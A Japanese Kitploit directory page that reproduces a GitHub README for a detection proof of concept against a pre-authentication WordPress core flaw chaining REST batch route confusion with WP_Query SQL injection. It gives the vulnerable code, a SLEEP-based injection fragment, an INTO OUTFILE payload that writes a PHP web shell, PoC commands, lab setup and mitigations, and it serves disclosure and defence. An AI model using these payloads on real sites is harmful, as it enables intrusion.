Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wordpress-cve-2026-63030 — REST API バッチルート混同 + WP_Query SQLi による WordPress コアの事前認証 RCE(CVE-2026-63030 / CVE-2026-60137)。検出用 PoC。 | Kitploit
ツール/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

REST API バッチルート混同 + WP_Query SQLi による WordPress コアの事前認証 RCE(CVE-2026-63030 / CVE-2026-60137)。検出用 PoC。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
41ヶ月前未レビュー

WordPress REST API バッチルート混乱 + SQL インジェクション → RCE

事前認証、未認証、プラグイン不要。 標準的な WordPress インストールに対して REST API バッチエンドポイント経由で動作します。

CVECVE-2026-63030(ルート混乱 → RCE)+ CVE-2026-60137(SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
発見者Adam Kues — Assetnote / Searchlight Cyber(「wp2shell」 と命名)
影響を受けるバージョンWordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1(完全な RCE チェーン)· 6.8.0 – 6.8.5(SQLi のみ)
パッチ適用済み6.8.6、6.9.5、7.0.2、7.1-beta2
CVSS緊急(RCE チェーン)/ 中程度(SQLi 単独)
研究者ブログhttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. 概要

WordPress コアに存在する 2 つのバグ。連鎖させることで未認証のリモートコード実行が可能になります:

  1. WP_Query における SQL インジェクション。author__not_in が配列ではなく文字列の場合、is_array() によるサニタイズガードがスキップされ、生の値が NOT IN (...) 句に直接展開されます。
  2. WP_REST_Server::serve_batch_request_v1() における バッチルート混乱。WP_Error のサブリクエストが $validation[] には追加されますが $matches[] には追加されないため、+1 のインデックスずれが発生します。サブリクエスト i は、サブリクエスト i+1 のハンドラでディスパッチされることになります。

どちらのバグも単独では不十分です。REST API は author_exclude(type: array, items: integer)を WP_Query に到達する前にサニタイズし、バッチエンドポイントは GET サブリクエスト(enum: POST, PUT, PATCH, DELETE)を拒否するからです。二重の混乱を通じて連鎖させることで、両方の防御をバイパスし、未認証で SQLi に到達します。

2. 根本原因

2.1 SQL インジェクション — src/wp-includes/class-wp-query.php(CVE-2026-60137)

脆弱なコード(6.9.4):

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

author__not_in が文字列の場合、is_array() ブランチはスキップされます。(array) "payload" は ["payload"] と評価され、implode(',', ...) は生の文字列を返し、そのまま SQL に展開されます。

修正(6.9.5): 任意の入力形状を受け入れ、サニタイズされた整数リストを返す wp_parse_id_list() を使用します。

2.2 バッチルート混乱 — src/wp-includes/rest-api/class-wp-rest-server.php(CVE-2026-63030)

root@kitploit:~
// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

位置 0 にある単一の WP_Error サブリクエスト(例: 不正なパス)により、後続のすべてのエントリが 1 つずつずれます。リクエスト i は、リクエスト i+1 のハンドラでディスパッチされます。

修正(6.9.5): エラーケースでも $matches[] = $single_request; を追加します。さらに、ディスパッチ実行中に rest_api_loaded() / serve_request() をショートサーキットする追加の堅牢化が行われます。

3. 二重混乱チェーン

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

結果として得られる SQL フラグメントは次のとおりです:

root@kitploit:~
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) は一致する投稿行ごとに 1 回実行されるため、合計遅延はおおよそ N × <公開済み投稿の数> 秒になります。

SQLi から RCE へ(「wp2shell」)

SELECT のみのインジェクション(スタッククエリなし、$wpdb は mysqli_query を使用)でも、MySQL ユーザーに FILE 権限がある場合(多くの共有ホスティングや自社管理サーバーではデフォルト)、一般的な LAMP スタックで RCE が可能になります:

root@kitploit:~
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

PHP ウェブシェルをウェブルートに書き込み、/x.php でアクセス可能にします。

FILE 権限が不要な代替手段としては、UNION / ブールベース盲目的 SQLi による管理者パスワードハッシュの読み出しや、認証済みの管理者 UI を通じた悪意のあるプラグインのアップロードなどがあります。

4. 検出 / PoC

root@kitploit:~
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

PoC は 2 つの非破壊的テストを実行します:

テスト手法安全か?
ルート混乱(CVE-2026-63030)構造的 — 応答ボディに投稿専用フィールドが含まれるかを確認し、内部リクエスト[1](カテゴリ)が投稿ハンドラでディスパッチされることを検証はい
root@kitploit:~
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

脆弱な 6.9.4 インスタンスに対する出力例:

root@kitploit:~
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).

遅延なし / 構造的混乱なし ⇒ パッチ適用済み(6.8.6 / 6.9.5 / 7.0.2)。

要件

  • Python ≥ 3.9
  • requests(pip install requests)

5. 再現方法

再現する最も簡単な方法は、公式 Docker イメージを使用することです(自動アップデータにより、開示後数時間以内にほとんどの稼働中インスタンスがパッチ適用されます):

root@kitploit:~
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

INTO OUTFILE → RCE の手順では、FILE 権限を付与し、DB プロセスがウェブルートに書き込めることを確認してください(シングルサーバーの LAMP、または Docker の共有ボリューム):

root@kitploit:~
GRANT FILE ON *.* TO 'wp'@'%';

6. 緩和策

  1. 直ちに 6.8.6 / 6.9.5 / 7.0.2(またはそれ以降)へ更新してください。 WordPress はデフォルトでマイナー / セキュリティリリースを自動適用するため (WP_AUTO_UPDATE_CORE)、ほとんどの稼働中サイトはすでにパッチ適用済みです。
  2. すぐに更新できない場合は、WAF / リバースプロキシレベルでバッチエンドポイントへの匿名アクセスをブロックしてください:
    • POST /wp-json/batch/v1
    • POST /index.php?rest_route=/batch/v1
  3. WordPress DB ユーザーから FILE 権限を剥奪します:
    root@kitploit:~
    REVOKE FILE ON *.* FROM 'wp_user'@'%';
    
  4. secure_file_priv が設定されていることを確認します(空でないこと):
    root@kitploit:~
    secure_file_priv = /var/lib/mysql-files
    

7. タイムライン

日付イベント
2026-07-17WordPress 6.8.6 / 6.9.5 / 7.0.2 リリース
2026-07-17GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf 公開
2026-07-17Assetnote / Searchlight Cyber が「wp2shell」アドバイザリ + https://wp2shell.com チェッカーを公開

8. 参考情報

  • WordPress アドバイザリ
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • 発見者による詳細解説
    • https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • パッチ差分(6.9.4 → 6.9.5)
    • src/wp-includes/class-wp-query.php
    • src/wp-includes/rest-api.php
    • src/wp-includes/rest-api/class-wp-rest-server.php
  • チェッカーサイト
    • https://wp2shell.com/

9. 責任ある開示

このリポジトリには検出 PoC のみが含まれています — 時間ベース盲目的 SQLi と構造的レスポンス検査を使用します。データの抽出、ファイルの書き込み、RCE の試行は行いません。この脆弱性は、このコードが公開される前に WordPress と元の研究者によってすでにパッチ適用され、公開開示されています。

自分が所有している、またはテストを許可されているシステムに対してのみ使用してください。

ライセンス

MIT — LICENSE を参照。

ツールをダウンロード
SQLi(CVE-2026-60137)時間ベース盲目的 — author_exclude 経由で SLEEP(N) を注入し、良性のベースラインとレイテンシを比較はい